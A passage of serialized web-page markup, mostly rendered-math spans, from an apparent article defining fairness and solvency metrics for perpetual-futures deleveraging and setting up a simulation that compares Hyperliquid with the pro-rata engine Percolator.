35,107663,107664,3038],[162623],{"type":23,"tag":504,"props":162624,"children":162626},{"className":162625,"style":20570},[2988,20569,3038],[162627],{"type":28,"value":4971},{"type":23,"tag":504,"props":162629,"children":162631},{"className":162630},[20726],[162632],{"type":28,"value":20729},{"type":23,"tag":504,"props":162634,"children":162636},{"className":162635},[3015],[162637],{"type":23,"tag":504,"props":162638,"children":162641},{"className":162639,"style":162640},[3020],"height:0.1433em;",[162642],{"type":23,"tag":504,"props":162643,"children":162644},{},[],{"type":23,"tag":504,"props":162646,"children":162647},{"style":112371},[162648,162652],{"type":23,"tag":504,"props":162649,"children":162651},{"className":162650,"style":110969},[3029],[],{"type":23,"tag":504,"props":162653,"children":162655},{"className":162654,"style":112381},[112380],[],{"type":23,"tag":504,"props":162657,"children":162659},{"style":162658},"top:-3.4101em;",[162660,162664],{"type":23,"tag":504,"props":162661,"children":162663},{"className":162662,"style":110969},[3029],[],{"type":23,"tag":504,"props":162665,"children":162667},{"className":162666},[3035,3036,3037,3038],[162668],{"type":23,"tag":504,"props":162669,"children":162671},{"className":162670},[2988,3038],[162672],{"type":23,"tag":504,"props":162673,"children":162675},{"className":162674},[2988,3038],[162676,162681],{"type":23,"tag":504,"props":162677,"children":162679},{"className":162678,"style":121575},[2988,20569,3038],[162680],{"type":28,"value":121578},{"type":23,"tag":504,"props":162682,"children":162684},{"className":162683},[3005],[162685],{"type":23,"tag":504,"props":162686,"children":162688},{"className":162687},[3010,20623],[162689,162720],{"type":23,"tag":504,"props":162690,"children":162692},{"className":162691},[3015],[162693,162715],{"type":23,"tag":504,"props":162694,"children":162697},{"className":162695,"style":162696},[3020],"height:0.2963em;",[162698],{"type":23,"tag":504,"props":162699,"children":162701},{"style":162700},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[162702,162706],{"type":23,"tag":504,"props":162703,"children":162705},{"className":162704,"style":107658},[3029],[],{"type":23,"tag":504,"props":162707,"children":162709},{"className":162708},[3035,107663,107664,3038],[162710],{"type":23,"tag":504,"props":162711,"children":162713},{"className":162712},[2988,20569,3038],[162714],{"type":28,"value":20711},{"type":23,"tag":504,"props":162716,"children":162718},{"className":162717},[20726],[162719],{"type":28,"value":20729},{"type":23,"tag":504,"props":162721,"children":162723},{"className":162722},[3015],[162724],{"type":23,"tag":504,"props":162725,"children":162727},{"className":162726,"style":107683},[3020],[162728],{"type":23,"tag":504,"props":162729,"children":162730},{},[],{"type":23,"tag":504,"props":162732,"children":162734},{"className":162733},[20726],[162735],{"type":28,"value":20729},{"type":23,"tag":504,"props":162737,"children":162739},{"className":162738},[3015],[162740],{"type":23,"tag":504,"props":162741,"children":162744},{"className":162742,"style":162743},[3020],"height:0.4453em;",[162745],{"type":23,"tag":504,"props":162746,"children":162747},{},[],{"type":23,"tag":504,"props":162749,"children":162751},{"className":162750},[20720,112316],[],{"type":28,"value":162753}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":56,"props":162755,"children":162757},{"className":162756},[2960,2961],[162758],{"type":23,"tag":504,"props":162759,"children":162761},{"className":162760},[2966],[162762],{"type":23,"tag":504,"props":162763,"children":162765},{"className":162764,"ariaHidden":2972},[2971],[162766,162792],{"type":23,"tag":504,"props":162767,"children":162769},{"className":162768},[2977],[162770,162774,162779,162783,162788],{"type":23,"tag":504,"props":162771,"children":162773},{"className":162772,"style":20564},[2982],[],{"type":23,"tag":504,"props":162775,"children":162777},{"className":162776,"style":21028},[2988,20569],[162778],{"type":28,"value":21031},{"type":23,"tag":504,"props":162780,"children":162782},{"className":162781,"style":3167},[3069],[],{"type":23,"tag":504,"props":162784,"children":162786},{"className":162785},[3172],[162787],{"type":28,"value":601},{"type":23,"tag":504,"props":162789,"children":162791},{"className":162790,"style":3167},[3069],[],{"type":23,"tag":504,"props":162793,"children":162795},{"className":162794},[2977],[162796,162800],{"type":23,"tag":504,"props":162797,"children":162799},{"className":162798,"style":92829},[2982],[],{"type":23,"tag":504,"props":162801,"children":162803},{"className":162802},[2988],[162804],{"type":28,"value":2991},{"type":28,"value":162806}," means fully solvent (",{"type":23,"tag":56,"props":162808,"children":162810},{"className":162809},[2960,2961],[162811],{"type":23,"tag":504,"props":162812,"children":162814},{"className":162813},[2966],[162815],{"type":23,"tag":504,"props":162816,"children":162818},{"className":162817,"ariaHidden":2972},[2971],[162819,162897],{"type":23,"tag":504,"props":162820,"children":162822},{"className":162821},[2977],[162823,162827,162884,162888,162893],{"type":23,"tag":504,"props":162824,"children":162826},{"className":162825,"style":109795},[2982],[],{"type":23,"tag":504,"props":162828,"children":162830},{"className":162829},[2988],[162831,162836],{"type":23,"tag":504,"props":162832,"children":162834},{"className":162833,"style":121575},[2988,20569],[162835],{"type":28,"value":121578},{"type":23,"tag":504,"props":162837,"children":162839},{"className":162838},[3005],[162840],{"type":23,"tag":504,"props":162841,"children":162843},{"className":162842},[3010,20623],[162844,162873],{"type":23,"tag":504,"props":162845,"children":162847},{"className":162846},[3015],[162848,162868],{"type":23,"tag":504,"props":162849,"children":162851},{"className":162850,"style":160441},[3020],[162852],{"type":23,"tag":504,"props":162853,"children":162854},{"style":160445},[162855,162859],{"type":23,"tag":504,"props":162856,"children":162858},{"className":162857,"style":3030},[3029],[],{"type":23,"tag":504,"props":162860,"children":162862},{"className":162861},[3035,3036,3037,3038],[162863],{"type":23,"tag":504,"props":162864,"children":162866},{"className":162865},[2988,20569,3038],[162867],{"type":28,"value":20711},{"type":23,"tag":504,"props":162869,"children":162871},{"className":162870},[20726],[162872],{"type":28,"value":20729},{"type":23,"tag":504,"props":162874,"children":162876},{"className":162875},[3015],[162877],{"type":23,"tag":504,"props":162878,"children":162880},{"className":162879,"style":91881},[3020],[162881],{"type":23,"tag":504,"props":162882,"children":162883},{},[],{"type":23,"tag":504,"props":162885,"children":162887},{"className":162886,"style":3167},[3069],[],{"type":23,"tag":504,"props":162889,"children":162891},{"className":162890},[3172],[162892],{"type":28,"value":601},{"type":23,"tag":504,"props":162894,"children":162896},{"className":162895,"style":3167},[3069],[],{"type":23,"tag":504,"props":162898,"children":162900},{"className":162899},[2977],[162901,162905],{"type":23,"tag":504,"props":162902,"children":162904},{"className":162903,"style":92829},[2982],[],{"type":23,"tag":504,"props":162906,"children":162908},{"className":162907},[2988],[162909],{"type":28,"value":3001},{"type":28,"value":14157},{"type":23,"tag":56,"props":162912,"children":162914},{"className":162913},[2960,2961],[162915],{"type":23,"tag":504,"props":162916,"children":162918},{"className":162917},[2966],[162919],{"type":23,"tag":504,"props":162920,"children":162922},{"className":162921,"ariaHidden":2972},[2971],[162923,162949],{"type":23,"tag":504,"props":162924,"children":162926},{"className":162925},[2977],[162927,162931,162936,162940,162945],{"type":23,"tag":504,"props":162928,"children":162930},{"className":162929,"style":20564},[2982],[],{"type":23,"tag":504,"props":162932,"children":162934},{"className":162933,"style":21028},[2988,20569],[162935],{"type":28,"value":21031},{"type":23,"tag":504,"props":162937,"children":162939},{"className":162938,"style":3167},[3069],[],{"type":23,"tag":504,"props":162941,"children":162943},{"className":162942},[3172],[162944],{"type":28,"value":601},{"type":23,"tag":504,"props":162946,"children":162948},{"className":162947,"style":3167},[3069],[],{"type":23,"tag":504,"props":162950,"children":162952},{"className":162951},[2977],[162953,162957],{"type":23,"tag":504,"props":162954,"children":162956},{"className":162955,"style":92829},[2982],[],{"type":23,"tag":504,"props":162958,"children":162960},{"className":162959},[2988],[162961],{"type":28,"value":3001},{"type":28,"value":162963}," means nothing was recovered.",{"type":23,"tag":45,"props":162965,"children":162966},{},[162967,162971,162972,163095,163096,163313,163315,163419,163421,163472,163474,163526],{"type":23,"tag":1887,"props":162968,"children":162969},{},[162970],{"type":28,"value":159620},{"type":28,"value":31888},{"type":23,"tag":56,"props":162973,"children":162975},{"className":162974},[2960,2961],[162976],{"type":23,"tag":504,"props":162977,"children":162979},{"className":162978},[2966],[162980],{"type":23,"tag":504,"props":162981,"children":162983},{"className":162982,"ariaHidden":2972},[2971],[162984,163010],{"type":23,"tag":504,"props":162985,"children":162987},{"className":162986},[2977],[162988,162992,162997,163001,163006],{"type":23,"tag":504,"props":162989,"children":162991},{"className":162990,"style":162517},[2982],[],{"type":23,"tag":504,"props":162993,"children":162995},{"className":162994},[2988],[162996],{"type":28,"value":2991},{"type":23,"tag":504,"props":162998,"children":163000},{"className":162999,"style":3070},[3069],[],{"type":23,"tag":504,"props":163002,"children":163004},{"className":163003},[3075],[163005],{"type":28,"value":3049},{"type":23,"tag":504,"props":163007,"children":163009},{"className":163008,"style":3070},[3069],[],{"type":23,"tag":504,"props":163011,"children":163013},{"className":163012},[2977],[163014,163018,163028,163033,163090],{"type":23,"tag":504,"props":163015,"children":163017},{"className":163016,"style":3090},[2982],[],{"type":23,"tag":504,"props":163019,"children":163021},{"className":163020},[2988,28],[163022],{"type":23,"tag":504,"props":163023,"children":163025},{"className":163024},[2988],[163026],{"type":28,"value":163027},"Gini",{"type":23,"tag":504,"props":163029,"children":163031},{"className":163030},[20698],[163032],{"type":28,"value":526},{"type":23,"tag":504,"props":163034,"children":163036},{"className":163035},[2988],[163037,163042],{"type":23,"tag":504,"props":163038,"children":163040},{"className":163039},[2988,20569],[163041],{"type":28,"value":83096},{"type":23,"tag":504,"props":163043,"children":163045},{"className":163044},[3005],[163046],{"type":23,"tag":504,"props":163047,"children":163049},{"className":163048},[3010,20623],[163050,163079],{"type":23,"tag":504,"props":163051,"children":163053},{"className":163052},[3015],[163054,163074],{"type":23,"tag":504,"props":163055,"children":163057},{"className":163056,"style":92327},[3020],[163058],{"type":23,"tag":504,"props":163059,"children":163060},{"style":91854},[163061,163065],{"type":23,"tag":504,"props":163062,"children":163064},{"className":163063,"style":3030},[3029],[],{"type":23,"tag":504,"props":163066,"children":163068},{"className":163067},[3035,3036,3037,3038],[163069],{"type":23,"tag":504,"props":163070,"children":163072},{"className":163071},[2988,20569,3038],[163073],{"type":28,"value":2716},{"type":23,"tag":504,"props":163075,"children":163077},{"className":163076},[20726],[163078],{"type":28,"value":20729},{"type":23,"tag":504,"props":163080,"children":163082},{"className":163081},[3015],[163083],{"type":23,"tag":504,"props":163084,"children":163086},{"className":163085,"style":91881},[3020],[163087],{"type":23,"tag":504,"props":163088,"children":163089},{},[],{"type":23,"tag":504,"props":163091,"children":163093},{"className":163092},[20720],[163094],{"type":28,"value":2105},{"type":28,"value":6305},{"type":23,"tag":56,"props":163097,"children":163099},{"className":163098},[2960,2961],[163100],{"type":23,"tag":504,"props":163101,"children":163103},{"className":163102},[2966],[163104],{"type":23,"tag":504,"props":163105,"children":163107},{"className":163106,"ariaHidden":2972},[2971],[163108,163186],{"type":23,"tag":504,"props":163109,"children":163111},{"className":163110},[2977],[163112,163116,163173,163177,163182],{"type":23,"tag":504,"props":163113,"children":163115},{"className":163114,"style":141077},[2982],[],{"type":23,"tag":504,"props":163117,"children":163119},{"className":163118},[2988],[163120,163125],{"type":23,"tag":504,"props":163121,"children":163123},{"className":163122},[2988,20569],[163124],{"type":28,"value":83096},{"type":23,"tag":504,"props":163126,"children":163128},{"className":163127},[3005],[163129],{"type":23,"tag":504,"props":163130,"children":163132},{"className":163131},[3010,20623],[163133,163162],{"type":23,"tag":504,"props":163134,"children":163136},{"className":163135},[3015],[163137,163157],{"type":23,"tag":504,"props":163138,"children":163140},{"className":163139,"style":92327},[3020],[163141],{"type":23,"tag":504,"props":163142,"children":163143},{"style":91854},[163144,163148],{"type":23,"tag":504,"props":163145,"children":163147},{"className":163146,"style":3030},[3029],[],{"type":23,"tag":504,"props":163149,"children":163151},{"className":163150},[3035,3036,3037,3038],[163152],{"type":23,"tag":504,"props":163153,"children":163155},{"className":163154},[2988,20569,3038],[163156],{"type":28,"value":2716},{"type":23,"tag":504,"props":163158,"children":163160},{"className":163159},[20726],[163161],{"type":28,"value":20729},{"type":23,"tag":504,"props":163163,"children":163165},{"className":163164},[3015],[163166],{"type":23,"tag":504,"props":163167,"children":163169},{"className":163168,"style":91881},[3020],[163170],{"type":23,"tag":504,"props":163171,"children":163172},{},[],{"type":23,"tag":504,"props":163174,"children":163176},{"className":163175,"style":3167},[3069],[],{"type":23,"tag":504,"props":163178,"children":163180},{"className":163179},[3172],[163181],{"type":28,"value":601},{"type":23,"tag":504,"props":163183,"children":163185},{"className":163184,"style":3167},[3069],[],{"type":23,"tag":504,"props":163187,"children":163189},{"className":163188},[2977],[163190,163194,163251,163256],{"type":23,"tag":504,"props":163191,"children":163193},{"className":163192,"style":3090},[2982],[],{"type":23,"tag":504,"props":163195,"children":163197},{"className":163196},[2988],[163198,163203],{"type":23,"tag":504,"props":163199,"children":163201},{"className":163200},[2988,20569],[163202],{"type":28,"value":18257},{"type":23,"tag":504,"props":163204,"children":163206},{"className":163205},[3005],[163207],{"type":23,"tag":504,"props":163208,"children":163210},{"className":163209},[3010,20623],[163211,163240],{"type":23,"tag":504,"props":163212,"children":163214},{"className":163213},[3015],[163215,163235],{"type":23,"tag":504,"props":163216,"children":163218},{"className":163217,"style":92327},[3020],[163219],{"type":23,"tag":504,"props":163220,"children":163221},{"style":91854},[163222,163226],{"type":23,"tag":504,"props":163223,"children":163225},{"className":163224,"style":3030},[3029],[],{"type":23,"tag":504,"props":163227,"children":163229},{"className":163228},[3035,3036,3037,3038],[163230],{"type":23,"tag":504,"props":163231,"children":163233},{"className":163232},[2988,20569,3038],[163234],{"type":28,"value":2716},{"type":23,"tag":504,"props":163236,"children":163238},{"className":163237},[20726],[163239],{"type":28,"value":20729},{"type":23,"tag":504,"props":163241,"children":163243},{"className":163242},[3015],[163244],{"type":23,"tag":504,"props":163245,"children":163247},{"className":163246,"style":91881},[3020],[163248],{"type":23,"tag":504,"props":163249,"children":163250},{},[],{"type":23,"tag":504,"props":163252,"children":163254},{"className":163253},[2988],[163255],{"type":28,"value":3562},{"type":23,"tag":504,"props":163257,"children":163259},{"className":163258},[2988],[163260,163265],{"type":23,"tag":504,"props":163261,"children":163263},{"className":163262,"style":121078},[2988,20569],[163264],{"type":28,"value":48551},{"type":23,"tag":504,"props":163266,"children":163268},{"className":163267},[3005],[163269],{"type":23,"tag":504,"props":163270,"children":163272},{"className":163271},[3010,20623],[163273,163302],{"type":23,"tag":504,"props":163274,"children":163276},{"className":163275},[3015],[163277,163297],{"type":23,"tag":504,"props":163278,"children":163280},{"className":163279,"style":92327},[3020],[163281],{"type":23,"tag":504,"props":163282,"children":163283},{"style":160026},[163284,163288],{"type":23,"tag":504,"props":163285,"children":163287},{"className":163286,"style":3030},[3029],[],{"type":23,"tag":504,"props":163289,"children":163291},{"className":163290},[3035,3036,3037,3038],[163292],{"type":23,"tag":504,"props":163293,"children":163295},{"className":163294},[2988,20569,3038],[163296],{"type":28,"value":2716},{"type":23,"tag":504,"props":163298,"children":163300},{"className":163299},[20726],[163301],{"type":28,"value":20729},{"type":23,"tag":504,"props":163303,"children":163305},{"className":163304},[3015],[163306],{"type":23,"tag":504,"props":163307,"children":163309},{"className":163308,"style":91881},[3020],[163310],{"type":23,"tag":504,"props":163311,"children":163312},{},[],{"type":28,"value":163314}," for each winner with ",{"type":23,"tag":56,"props":163316,"children":163318},{"className":163317},[2960,2961],[163319],{"type":23,"tag":504,"props":163320,"children":163322},{"className":163321},[2966],[163323],{"type":23,"tag":504,"props":163324,"children":163326},{"className":163325,"ariaHidden":2972},[2971],[163327,163406],{"type":23,"tag":504,"props":163328,"children":163330},{"className":163329},[2977],[163331,163336,163393,163397,163402],{"type":23,"tag":504,"props":163332,"children":163335},{"className":163333,"style":163334},[2982],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":163337,"children":163339},{"className":163338},[2988],[163340,163345],{"type":23,"tag":504,"props":163341,"children":163343},{"className":163342,"style":121078},[2988,20569],[163344],{"type":28,"value":48551},{"type":23,"tag":504,"props":163346,"children":163348},{"className":163347},[3005],[163349],{"type":23,"tag":504,"props":163350,"children":163352},{"className":163351},[3010,20623],[163353,163382],{"type":23,"tag":504,"props":163354,"children":163356},{"className":163355},[3015],[163357,163377],{"type":23,"tag":504,"props":163358,"children":163360},{"className":163359,"style":92327},[3020],[163361],{"type":23,"tag":504,"props":163362,"children":163363},{"style":160026},[163364,163368],{"type":23,"tag":504,"props":163365,"children":163367},{"className":163366,"style":3030},[3029],[],{"type":23,"tag":504,"props":163369,"children":163371},{"className":163370},[3035,3036,3037,3038],[163372],{"type":23,"tag":504,"props":163373,"children":163375},{"className":163374},[2988,20569,3038],[163376],{"type":28,"value":2716},{"type":23,"tag":504,"props":163378,"children":163380},{"className":163379},[20726],[163381],{"type":28,"value":20729},{"type":23,"tag":504,"props":163383,"children":163385},{"className":163384},[3015],[163386],{"type":23,"tag":504,"props":163387,"children":163389},{"className":163388,"style":91881},[3020],[163390],{"type":23,"tag":504,"props":163391,"children":163392},{},[],{"type":23,"tag":504,"props":163394,"children":163396},{"className":163395,"style":3167},[3069],[],{"type":23,"tag":504,"props":163398,"children":163400},{"className":163399},[3172],[163401],{"type":28,"value":9443},{"type":23,"tag":504,"props":163403,"children":163405},{"className":163404,"style":3167},[3069],[],{"type":23,"tag":504,"props":163407,"children":163409},{"className":163408},[2977],[163410,163414],{"type":23,"tag":504,"props":163411,"children":163413},{"className":163412,"style":92829},[2982],[],{"type":23,"tag":504,"props":163415,"children":163417},{"className":163416},[2988],[163418],{"type":28,"value":3001},{"type":28,"value":163420}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":56,"props":163422,"children":163424},{"className":163423},[2960,2961],[163425],{"type":23,"tag":504,"props":163426,"children":163428},{"className":163427},[2966],[163429],{"type":23,"tag":504,"props":163430,"children":163432},{"className":163431,"ariaHidden":2972},[2971],[163433,163459],{"type":23,"tag":504,"props":163434,"children":163436},{"className":163435},[2977],[163437,163441,163446,163450,163455],{"type":23,"tag":504,"props":163438,"children":163440},{"className":163439,"style":20564},[2982],[],{"type":23,"tag":504,"props":163442,"children":163444},{"className":163443,"style":20570},[2988,20569],[163445],{"type":28,"value":120576},{"type":23,"tag":504,"props":163447,"children":163449},{"className":163448,"style":3167},[3069],[],{"type":23,"tag":504,"props":163451,"children":163453},{"className":163452},[3172],[163454],{"type":28,"value":601},{"type":23,"tag":504,"props":163456,"children":163458},{"className":163457,"style":3167},[3069],[],{"type":23,"tag":504,"props":163460,"children":163462},{"className":163461},[2977],[163463,163467],{"type":23,"tag":504,"props":163464,"children":163466},{"className":163465,"style":92829},[2982],[],{"type":23,"tag":504,"props":163468,"children":163470},{"className":163469},[2988],[163471],{"type":28,"value":2991},{"type":28,"value":163473}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":56,"props":163475,"children":163477},{"className":163476},[2960,2961],[163478],{"type":23,"tag":504,"props":163479,"children":163481},{"className":163480},[2966],[163482],{"type":23,"tag":504,"props":163483,"children":163485},{"className":163484,"ariaHidden":2972},[2971],[163486,163513],{"type":23,"tag":504,"props":163487,"children":163489},{"className":163488},[2977],[163490,163494,163499,163503,163509],{"type":23,"tag":504,"props":163491,"children":163493},{"className":163492,"style":20564},[2982],[],{"type":23,"tag":504,"props":163495,"children":163497},{"className":163496,"style":20570},[2988,20569],[163498],{"type":28,"value":120576},{"type":23,"tag":504,"props":163500,"children":163502},{"className":163501,"style":3167},[3069],[],{"type":23,"tag":504,"props":163504,"children":163506},{"className":163505},[3172],[163507],{"type":28,"value":163508},"≈",{"type":23,"tag":504,"props":163510,"children":163512},{"className":163511,"style":3167},[3069],[],{"type":23,"tag":504,"props":163514,"children":163516},{"className":163515},[2977],[163517,163521],{"type":23,"tag":504,"props":163518,"children":163520},{"className":163519,"style":92829},[2982],[],{"type":23,"tag":504,"props":163522,"children":163524},{"className":163523},[2988],[163525],{"type":28,"value":3001},{"type":28,"value":163527}," means a few get wiped while most are untouched.",{"type":23,"tag":45,"props":163529,"children":163530},{},[163531,163535,163536,163694,163696,163790,163792],{"type":23,"tag":1887,"props":163532,"children":163533},{},[163534],{"type":28,"value":159630},{"type":28,"value":31888},{"type":23,"tag":56,"props":163537,"children":163539},{"className":163538},[2960,2961],[163540],{"type":23,"tag":504,"props":163541,"children":163543},{"className":163542},[2966],[163544],{"type":23,"tag":504,"props":163545,"children":163547},{"className":163546,"ariaHidden":2972},[2971],[163548],{"type":23,"tag":504,"props":163549,"children":163551},{"className":163550},[2977],[163552,163557,163632,163637],{"type":23,"tag":504,"props":163553,"children":163556},{"className":163554,"style":163555},[2982],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":504,"props":163558,"children":163560},{"className":163559},[2988],[163561,163566],{"type":23,"tag":504,"props":163562,"children":163564},{"className":163563,"style":93806},[2988,20569],[163565],{"type":28,"value":160355},{"type":23,"tag":504,"props":163567,"children":163569},{"className":163568},[3005],[163570],{"type":23,"tag":504,"props":163571,"children":163573},{"className":163572},[3010,20623],[163574,163620],{"type":23,"tag":504,"props":163575,"children":163577},{"className":163576},[3015],[163578,163615],{"type":23,"tag":504,"props":163579,"children":163581},{"className":163580,"style":107515},[3020],[163582,163599],{"type":23,"tag":504,"props":163583,"children":163585},{"style":163584},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[163586,163590],{"type":23,"tag":504,"props":163587,"children":163589},{"className":163588,"style":3030},[3029],[],{"type":23,"tag":504,"props":163591,"children":163593},{"className":163592},[3035,3036,3037,3038],[163594],{"type":23,"tag":504,"props":163595,"children":163597},{"className":163596,"style":20570},[2988,20569,3038],[163598],{"type":28,"value":4971},{"type":23,"tag":504,"props":163600,"children":163601},{"style":3024},[163602,163606],{"type":23,"tag":504,"props":163603,"children":163605},{"className":163604,"style":3030},[3029],[],{"type":23,"tag":504,"props":163607,"children":163609},{"className":163608},[3035,3036,3037,3038],[163610],{"type":23,"tag":504,"props":163611,"children":163613},{"className":163612,"style":92284},[2988,20569,3038],[163614],{"type":28,"value":159869},{"type":23,"tag":504,"props":163616,"children":163618},{"className":163617},[20726],[163619],{"type":28,"value":20729},{"type":23,"tag":504,"props":163621,"children":163623},{"className":163622},[3015],[163624],{"type":23,"tag":504,"props":163625,"children":163628},{"className":163626,"style":163627},[3020],"height:0.2753em;",[163629],{"type":23,"tag":504,"props":163630,"children":163631},{},[],{"type":23,"tag":504,"props":163633,"children":163635},{"className":163634},[2988],[163636],{"type":28,"value":3562},{"type":23,"tag":504,"props":163638,"children":163640},{"className":163639},[2988],[163641,163646],{"type":23,"tag":504,"props":163642,"children":163644},{"className":163643,"style":93806},[2988,20569],[163645],{"type":28,"value":160355},{"type":23,"tag":504,"props":163647,"children":163649},{"className":163648},[3005],[163650],{"type":23,"tag":504,"props":163651,"children":163653},{"className":163652},[3010,20623],[163654,163683],{"type":23,"tag":504,"props":163655,"children":163657},{"className":163656},[3015],[163658,163678],{"type":23,"tag":504,"props":163659,"children":163661},{"className":163660,"style":141353},[3020],[163662],{"type":23,"tag":504,"props":163663,"children":163664},{"style":160374},[163665,163669],{"type":23,"tag":504,"props":163666,"children":163668},{"className":163667,"style":3030},[3029],[],{"type":23,"tag":504,"props":163670,"children":163672},{"className":163671},[3035,3036,3037,3038],[163673],{"type":23,"tag":504,"props":163674,"children":163676},{"className":163675,"style":20570},[2988,20569,3038],[163677],{"type":28,"value":4971},{"type":23,"tag":504,"props":163679,"children":163681},{"className":163680},[20726],[163682],{"type":28,"value":20729},{"type":23,"tag":504,"props":163684,"children":163686},{"className":163685},[3015],[163687],{"type":23,"tag":504,"props":163688,"children":163690},{"className":163689,"style":91881},[3020],[163691],{"type":23,"tag":504,"props":163692,"children":163693},{},[],{"type":28,"value":163695}," — ",{"type":23,"tag":56,"props":163697,"children":163699},{"className":163698},[2960,2961],[163700],{"type":23,"tag":504,"props":163701,"children":163703},{"className":163702},[2966],[163704],{"type":23,"tag":504,"props":163705,"children":163707},{"className":163706,"ariaHidden":2972},[2971],[163708],{"type":23,"tag":504,"props":163709,"children":163711},{"className":163710},[2977],[163712,163717],{"type":23,"tag":504,"props":163713,"children":163716},{"className":163714,"style":163715},[2982],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":504,"props":163718,"children":163720},{"className":163719},[2988],[163721,163726],{"type":23,"tag":504,"props":163722,"children":163724},{"className":163723,"style":93806},[2988,20569],[163725],{"type":28,"value":160355},{"type":23,"tag":504,"props":163727,"children":163729},{"className":163728},[3005],[163730],{"type":23,"tag":504,"props":163731,"children":163733},{"className":163732},[3010,20623],[163734,163779],{"type":23,"tag":504,"props":163735,"children":163737},{"className":163736},[3015],[163738,163774],{"type":23,"tag":504,"props":163739,"children":163741},{"className":163740,"style":107515},[3020],[163742,163758],{"type":23,"tag":504,"props":163743,"children":163744},{"style":163584},[163745,163749],{"type":23,"tag":504,"props":163746,"children":163748},{"className":163747,"style":3030},[3029],[],{"type":23,"tag":504,"props":163750,"children":163752},{"className":163751},[3035,3036,3037,3038],[163753],{"type":23,"tag":504,"props":163754,"children":163756},{"className":163755,"style":20570},[2988,20569,3038],[163757],{"type":28,"value":4971},{"type":23,"tag":504,"props":163759,"children":163760},{"style":3024},[163761,163765],{"type":23,"tag":504,"props":163762,"children":163764},{"className":163763,"style":3030},[3029],[],{"type":23,"tag":504,"props":163766,"children":163768},{"className":163767},[3035,3036,3037,3038],[163769],{"type":23,"tag":504,"props":163770,"children":163772},{"className":163771,"style":92284},[2988,20569,3038],[163773],{"type":28,"value":159869},{"type":23,"tag":504,"props":163775,"children":163777},{"className":163776},[20726],[163778],{"type":28,"value":20729},{"type":23,"tag":504,"props":163780,"children":163782},{"className":163781},[3015],[163783],{"type":23,"tag":504,"props":163784,"children":163786},{"className":163785,"style":163627},[3020],[163787],{"type":23,"tag":504,"props":163788,"children":163789},{},[],{"type":28,"value":163791}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":56,"props":163793,"children":163795},{"className":163794},[2960,2961],[163796],{"type":23,"tag":504,"props":163797,"children":163799},{"className":163798},[2966],[163800],{"type":23,"tag":504,"props":163801,"children":163803},{"className":163802,"ariaHidden":2972},[2971],[163804],{"type":23,"tag":504,"props":163805,"children":163807},{"className":163806},[2977],[163808,163812],{"type":23,"tag":504,"props":163809,"children":163811},{"className":163810,"style":109639},[2982],[],{"type":23,"tag":504,"props":163813,"children":163815},{"className":163814,"style":92284},[2988,20569],[163816],{"type":28,"value":159869},{"type":23,"tag":24,"props":163818,"children":163819},{},[163820],{"type":28,"value":163821},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":163823,"props":163824,"children":163826},"git-hub-repo-link",{"url":163825},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":163828,"children":163829},{},[163830,163832,163837],{"type":28,"value":163831},"Given a fixed ",{"type":23,"tag":1887,"props":163833,"children":163834},{},[163835],{"type":28,"value":163836},"a priori",{"type":28,"value":163838}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":163840,"children":163841},{},[163842,163844,163849,163851,163928],{"type":28,"value":163843},"One prediction that we can make is that Percolator is ",{"type":23,"tag":1887,"props":163845,"children":163846},{},[163847],{"type":28,"value":163848},"perfectly fair",{"type":28,"value":163850}," according to this scoring: the ",{"type":23,"tag":56,"props":163852,"children":163854},{"className":163853},[2960,2961],[163855],{"type":23,"tag":504,"props":163856,"children":163858},{"className":163857},[2966],[163859],{"type":23,"tag":504,"props":163860,"children":163862},{"className":163861,"ariaHidden":2972},[2971],[163863],{"type":23,"tag":504,"props":163864,"children":163866},{"className":163865},[2977],[163867,163871],{"type":23,"tag":504,"props":163868,"children":163870},{"className":163869,"style":141077},[2982],[],{"type":23,"tag":504,"props":163872,"children":163874},{"className":163873},[2988],[163875,163880],{"type":23,"tag":504,"props":163876,"children":163878},{"className":163877},[2988,20569],[163879],{"type":28,"value":83096},{"type":23,"tag":504,"props":163881,"children":163883},{"className":163882},[3005],[163884],{"type":23,"tag":504,"props":163885,"children":163887},{"className":163886},[3010,20623],[163888,163917],{"type":23,"tag":504,"props":163889,"children":163891},{"className":163890},[3015],[163892,163912],{"type":23,"tag":504,"props":163893,"children":163895},{"className":163894,"style":92327},[3020],[163896],{"type":23,"tag":504,"props":163897,"children":163898},{"style":91854},[163899,163903],{"type":23,"tag":504,"props":163900,"children":163902},{"className":163901,"style":3030},[3029],[],{"type":23,"tag":504,"props":163904,"children":163906},{"className":163905},[3035,3036,3037,3038],[163907],{"type":23,"tag":504,"props":163908,"children":163910},{"className":163909},[2988,20569,3038],[163911],{"type":28,"value":2716},{"type":23,"tag":504,"props":163913,"children":163915},{"className":163914},[20726],[163916],{"type":28,"value":20729},{"type":23,"tag":504,"props":163918,"children":163920},{"className":163919},[3015],[163921],{"type":23,"tag":504,"props":163922,"children":163924},{"className":163923,"style":91881},[3020],[163925],{"type":23,"tag":504,"props":163926,"children":163927},{},[],{"type":28,"value":163929}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":163931,"children":163932},{},[163933,163935,163940],{"type":28,"value":163934},"We are ignoring the ",{"type":23,"tag":1887,"props":163936,"children":163937},{},[163938],{"type":28,"value":163939},"a posteriori",{"type":28,"value":163941}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":163943,"children":163944},{},[163945],{"type":28,"value":163946},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin 